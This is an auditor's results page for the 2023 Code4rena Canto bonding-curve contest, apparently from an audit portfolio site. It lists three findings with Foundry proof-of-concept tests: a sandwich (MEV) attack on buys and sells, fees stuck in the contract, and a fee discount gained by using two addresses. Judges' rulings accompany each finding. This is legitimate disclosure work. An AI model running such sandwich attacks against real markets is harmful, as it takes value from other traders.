Canto Application Specific Dollars and Bonding Curves for 1155s - d3e4's results

Tokenizable bonding curves using a Stablecoin-as-a-Service token

General Information

Platform: Code4rena

Start Date: 13/11/2023

Pot Size: $24,500 USDC

Total HM: 3

Participants: 120

Period: 4 days

Judge: 0xTheC0der

Id: 306

League: ETH

Canto

Findings Distribution

Researcher Performance

Rank: 23/120

Findings: 3

Award: $212.56

QA:
grade-b

🌟 Selected for report: 0

🚀 Solo Findings: 0

Lines of code

https://github.com/code-423n4/2023-11-canto/blob/335930cd53cf9a137504a57f1215be52c6d67cb3/1155tech-contracts/src/bonding_curve/LinearBondingCurve.sol#L14-L25 https://github.com/code-423n4/2023-11-canto/blob/335930cd53cf9a137504a57f1215be52c6d67cb3/1155tech-contracts/src/Market.sol#L150-L189

Vulnerability details

Impact

Tokens trades can be sandwiched for profit.

Proof of concept

The price of tokens is proportional to the supply with the current LinearBoningCurve. An attacker can therefore sandwich a buy transaction with a buy at the first lower price range followed by a sell at the subsequent higher price range.

The only potential obstacle to this currently in place is that the victim has to approve the payment token to the Market, which may thus revert if the price becomes higher than the amount approved for his intended buy. This is insufficient since a user might approve a very high amount, or even infinity, out of convenience.

However, there is nothing that protects against this attack on a sell transaction. The user will then just receive too little.

Both the buy and sell versions are demonstrated in the below test. Add

function mint(address receiver, uint256 amount) public {
    _mint(receiver, amount);
}

to the MockERC20 contract and paste the following into Market.t.sol.

function testMEVBuy() public {
    testCreateNewShare(); // bob creates
    token.mint(alice, 500e18);
    address carol = address(3);
    token.mint(carol, 100e18);

    // Carol starts buying some tokens
    vm.startPrank(carol);
    token.approve(address(market), type(uint256).max);

    // Frontrun with a buy to increase price
    vm.startPrank(alice);
    token.approve(address(market), type(uint256).max);
    uint256 optimalAmount = 536;
    market.buy(1, optimalAmount);

    // Carol buys her tokens at an increased price
    vm.startPrank(carol);
    market.buy(1,10);

    // Backrun with a sell to extract profit
    vm.startPrank(alice);
    market.sell(1, optimalAmount);
    assertEq(token.balanceOf(alice) - 500e18, 2.207807341182627135e18);
}

function testMEVSell() public {
    testCreateNewShare(); // bob creates
    token.mint(alice, 100e18);
    address users = address(3);
    token.mint(users, 100e18);

    // Alice and users have bought some tokens
    vm.startPrank(users);
    token.approve(address(market), type(uint256).max);
    market.buy(1,100);
    vm.startPrank(alice);
    token.approve(address(market), type(uint256).max);
    market.buy(1,10);
    uint256 balanceBefore = token.balanceOf(alice);

    // Some user starts selling some tokens
    vm.startPrank(users);
    token.approve(address(market), type(uint256).max);

    // Frontrun with a sell to decrease price
    vm.startPrank(alice);
    uint256 optimalAmount = 10;
    market.sell(1, optimalAmount);

    // The user sells his tokens at a decreased price
    vm.startPrank(users);
    market.sell(1,10);

    // Backrun with a buy to extract profit
    vm.startPrank(alice);
    market.buy(1, optimalAmount);
    assertEq(market.tokensByAddress(1, alice), 10);
    assertEq(token.balanceOf(alice)- balanceBefore, 0.067027500000000012e18);
}

Add some kind of minOut parameter or functionality to buy() and sell(). This can be the amount to pay or receive, or at which tokenCount to trade.

Assessed type

MEV

#0 - c4-pre-sort

2023-11-18T10:06:42Z

minhquanym marked the issue as duplicate of #12

#1 - c4-judge

2023-11-28T23:14:14Z

MarioPoneder changed the severity to 2 (Med Risk)

#2 - c4-judge

2023-11-28T23:32:00Z

MarioPoneder marked the issue as satisfactory

Awards

207.1122 USDC - $207.11

Labels

bug
2 (Med Risk)
downgraded by judge
satisfactory
duplicate-9

External Links

Lines of code

https://github.com/code-423n4/2023-11-canto/blob/335930cd53cf9a137504a57f1215be52c6d67cb3/1155tech-contracts/src/Market.sol#L154-L159 https://github.com/code-423n4/2023-11-canto/blob/335930cd53cf9a137504a57f1215be52c6d67cb3/1155tech-contracts/src/Market.sol#L290

Vulnerability details

Impact

Buyers do not get any split of the fees. It is instead to be distributed to holders. But holder splits on successive buys are partially lost to the contract and cannot be recovered.

Proof of concept

The buyer's rewardsLastClaimedValue[_id][msg.sender] is updated when buying, without sending him a split of the fee. The split is distributed to the holders by dividing by the tokenCount. This is incorrect if the buyer already holds tokens. The calculation is done as if he will also get a share on his previous tokens, but his rewardsLastClaimedValue is updated without paying it, so it is instead stuck in the contract.

The test below demonstrates the issue. Add

function mint(address receiver, uint256 amount) public {
    _mint(receiver, amount);
}

to the MockERC20 contract and paste the following into Market.t.sol.

function testLostFees() public {
    testCreateNewShare();
    assertEq(token.balanceOf(address(market)), 0);

    token.mint(alice, 1000e18);
    vm.startPrank(alice);
    token.approve(address(market), 1000e18);

    // Tokens are bought
    for (uint256 i; i < 1000; ++i) {
        market.buy(1,1);
    }

    // Everyone withdraws to empty market
    market.sell(1, 1000);
    (uint256 tokenCount,,,,,,) = market.shareData(1);
    assertEq(tokenCount, 0);
    market.claimHolderFee(1); // 0
    vm.stopPrank();
    market.claimPlatformFee();
    vm.prank(bob);
    market.claimCreatorFee(1);

    // market should be empty but something is still unaccounted for, i.e. lost
    assertEq(token.balanceOf(address(market)), 1924330571428570939);
}

Exclude the buyers tokens from the _tokenCount passed to _splitFees(), i.e.

- _splitFees(_id, fee, shareData[_id].tokensInCirculation);
+ _splitFees(_id, fee, shareData[_id].tokensInCirculation - tokensByAddress[_id][msg.sender]);

Assessed type

Context

#0 - c4-pre-sort

2023-11-18T04:13:38Z

minhquanym marked the issue as duplicate of #302

#1 - c4-judge

2023-11-28T22:39:43Z

MarioPoneder changed the severity to 2 (Med Risk)

#2 - c4-judge

2023-11-28T22:40:59Z

MarioPoneder marked the issue as satisfactory

#3 - c4-judge

2023-11-28T23:54:09Z

MarioPoneder marked the issue as duplicate of #9

Awards

4.0797 USDC - $4.08

Labels

bug
downgraded by judge
grade-b
insufficient quality report
QA (Quality Assurance)
Q-02

External Links

Lines of code

https://github.com/code-423n4/2023-11-canto/blob/335930cd53cf9a137504a57f1215be52c6d67cb3/1155tech-contracts/src/Market.sol#L150-L169

Vulnerability details

Impact

A buyer is supposed to pay the full price plus full fees, unlike when selling where the seller should get a share of the fees on his own sale. This can be circumvented such that tokens can be bought at a discount.

Proof of concept

Market.buy() updates rewardsLastClaimedValue[_id][msg.sender] without transferring the new addition, with the intention that the buyer doesn't get back part of his paid fee. This can be circumvented by using two addresses, to first buy one token with the first address and then the rest with the second address. Then the first token will get the fee shares on behalf of the rest. If so desired this one share can then be transferred by selling it and then buying it with the main address. Thus the buyer can get back up to a third of the fee and gets a discount.

This is demonstrated in detail in the below test. Add

function mint(address receiver, uint256 amount) public {
    _mint(receiver, amount);
}

to the MockERC20 contract and paste the following into Market.t.sol.

function testDiscount() public {
    testCreateNewShare();

    address alice2 = address(22);
    token.mint(alice, 100e18);
    token.mint(alice2, 100e18);

    // Buy a token to accrue fees splits
    vm.startPrank(alice2);
    token.approve(address(market), type(uint256).max);
    market.buy(1,1);

    // Buy the rest
    vm.startPrank(alice);
    token.approve(address(market), type(uint256).max);
    market.buy(1,99);

    // Optionally transfer the fee accruing token to main account
    vm.startPrank(alice2);
    market.sell(1,1);
    vm.startPrank(alice);
    market.buy(1,1);

    // These token were obtained at a discount compared to buying them normally
    uint256 cost = 200e18 - token.balanceOf(alice) - token.balanceOf(alice2);
    (uint256 price, uint256 fee) = bondingCurve.getPriceAndFee(1, 100);
    uint256 shouldCost = price + fee;
    uint256 discount = shouldCost - cost;
    assertEq(discount, 28577666666666655);
}

It is difficult to achieve what was intended. One solution is to only reward the platform and the creator when buying. Otherwise, explicitly let buyers get back this part of the fee, just like when selling. Then at least it is fair.

Assessed type

Context

#0 - c4-pre-sort

2023-11-20T02:19:14Z

minhquanym marked the issue as insufficient quality report

#1 - minhquanym

2023-11-20T02:19:19Z

Expected behavior

#2 - c4-judge

2023-11-29T15:45:30Z

MarioPoneder marked the issue as unsatisfactory: Invalid

#3 - d3e4

2023-11-30T15:18:05Z

It is explicitly stated that the buyer should not be able to claim fees on his buy. This report shows how the contract fails to ensure this. How can this explicit discrepancy be justified?

Contrast this with #25, in which the impact is instead that the buyer might pay excessive fees. But in that case what is defined as excessive fees is not based on an explicit statement in the code, but rather on a hypothetical interpretation.

#4 - MarioPoneder

2023-12-04T13:32:53Z

The protocol's fee mechanism works as intended.
Nevertheless, this submissions shows how a user can benefit by using multiple addresses, i.e. acting as multiple users.
This is not a bug/vulnerability of the protocol itself, but a property of the current fee mechanism.
As the warden pointed out in their report, this requires a design change of the fee mechanism.

#5 - c4-judge

2023-12-04T13:33:00Z

MarioPoneder changed the severity to QA (Quality Assurance)

#6 - c4-judge

2023-12-04T13:33:05Z

MarioPoneder marked the issue as grade-b

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter